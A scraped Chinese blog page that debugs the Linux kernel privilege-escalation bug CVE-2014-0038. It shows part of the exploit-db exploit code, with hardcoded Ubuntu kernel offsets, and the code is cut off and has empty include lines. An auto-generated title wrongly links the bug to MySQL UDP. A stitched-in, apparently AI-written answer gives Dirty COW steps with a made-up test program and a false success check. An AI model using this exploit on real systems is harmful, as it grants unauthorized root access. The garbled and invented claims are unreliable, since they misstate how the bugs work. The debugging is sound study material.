mysql udp提权_[原创]linux root 提权漏洞CVE-2014-0038调试

本文详细介绍了Linux内核漏洞CVE-2014-0038的调试过程,该漏洞允许通过mysql udp提权。文章通过分析函数`__sys_recvmmsg`,展示了如何利用该漏洞修改内核函数指针,执行提权代码。作者通过编写并调试exploit代码,展示了如何触发和利用此漏洞,包括设置断点、修改内存地址以及触发提权代码的执行流程。
摘要由CSDN通过智能技术生成

背景

之前一直觉得root很神秘,这次尝试调试一下。对于我这样的菜鸟来说,刚开始还是调试一下比较老的洞吧,找啊找啊找漏洞,找到了CVE-2014-0038,因为看了几篇分析的文章发现大概能看懂(苦笑~能看懂真的不容易)

出现问题的函数是下面这个函数:int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,unsigned int flags, struct timespec *timeout

这个函数直接接收用户态传入的timeout指针,并且根据一定的条件可以修改timeout指向变量的值.这就造成了内核任意地址写的漏洞。如果利用这个漏洞修改某个内核函数指针,让它指向用户态的地址,在用户态的地址放上提权代码,这样等下次调用这个函数的时候,就可以以内核的模式来执行提权代码。

根据exploit-db的代码运行一下:

128a92d9ca95408718d49a52604f8d1c.png

接着试着调试一下这个exploit,调试linux内核,用的是kgdb+vmware+com。(虽然网上有不少设置的教程但还是遇到不少坑)#define _GNU_SOURCE

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#define __X32_SYSCALL_BIT 0x40000000

#undef __NR_recvmmsg

#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)

#define VLEN 1

#define BUFSIZE 200

int port;

struct offset {

char *kernel_version;

unsigned long dest; // net_sysctl_root + 96

unsigned long original_value; // net_ctl_permissions

unsigned long prepare_kernel_cred;

unsigned long commit_creds;

};

struct offset offsets[] = {

{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04

{NULL,0,0,0,0}

};

void udp(int b) {

int sockfd;

struct sockaddr_in servaddr,cliaddr;

int s = 0xff+1;

if(fork() == 0) {

while(s > 0) {

fprintf(stderr,"\rbyte %d / 3.. ~%d secs left   

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
你好!对于Linux提权的脏牛漏洞CVE-2016-5195),我可以为你提供一些复现的步骤。请注意,这是一个严重的安全漏洞,仅用于测试和教育目的。 在开始之前,请确保你已经备份了你的系统和数据,因为这个过程可能会对系统造成损坏。 以下是复现脏牛漏洞的一般步骤: 1. 确认你的系统受到脏牛漏洞的影响。你可以使用以下命令检查: ```shell $ uname -r ``` 如果输出的内核版本在`3.0`到`4.7`之间(不包括两端),那么你的系统可能受到影响。 2. 下载并编译脏牛漏洞的测试程序,可以使用以下命令: ```shell $ git clone https://github.com/dirtycow/dirtycow.github.io $ cd dirtycow.github.io $ make ``` 3. 运行测试程序进行提权。请注意,这可能会对系统造成损坏,所以请谨慎操作。 ```shell $ ./test_dirtycow your_file_name ``` `your_file_name`是你想要修改的目标文件的路径。这个测试程序会尝试修改目标文件的权限,以实现提权效果。 4. 检查提权是否成功。你可以尝试运行一个需要超级用户权限的命令来验证。 ```shell $ sudo whoami ``` 如果输出结果为"root",那么你已经成功提权了。 请记住,在测试和复现漏洞时,务必遵守法律和道德准则。此外,确保你在合法的环境下进行测试,并获得了合适的授权。 希望这些步骤能帮助到你!如果你有任何其他问题,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值